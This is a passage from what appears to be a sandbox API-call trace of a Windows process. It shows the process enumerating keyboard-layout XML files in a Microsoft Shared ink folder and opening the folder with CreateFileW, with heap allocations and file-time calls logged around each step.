nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0046.899] GetLastError () returned 0x12 [0046.899] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6850) returned 1 [0046.899] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.899] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6748) returned 1 [0046.899] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.899] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0046.899] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0046.899] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0046.899] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0046.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee7868 [0046.900] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee7868, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xee7868, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0046.900] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee7868) returned 1 [0046.900] NtClose (Handle=0x174) returned 0x0 [0046.900] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.900] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6748 [0046.900] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0046.903] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.903] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0046.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6850 [0046.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee50f8 [0046.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6d78 [0046.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x400) returned 0xed7330 [0046.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee74a0) returned 1 [0046.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.903] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5118 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6e80 [0046.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.904] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5138 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6f88 [0046.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.904] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5158 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee7090 [0046.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.904] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5178 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee7198 [0046.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.905] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5198 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee72a0 [0046.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.905] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee51b8 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee74b8 [0046.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.905] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0046.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.906] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.906] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee51d8 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee75c0 [0046.906] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.906] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.906] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.906] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee51f8 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee76c8 [0046.906] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.906] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.906] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.906] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5218 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee77d0 [0046.906] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.906] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.906] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.907] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5238 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee78d8 [0046.907] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.907] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.907] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.907] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5258 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee79e0 [0046.907] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.907] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.907] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.907] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5278 [0046.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee7ae8 [0046.907] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.907] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0046.907] GetLastError () returned 0x12 [0046.907] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cf8 [0046.907] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, 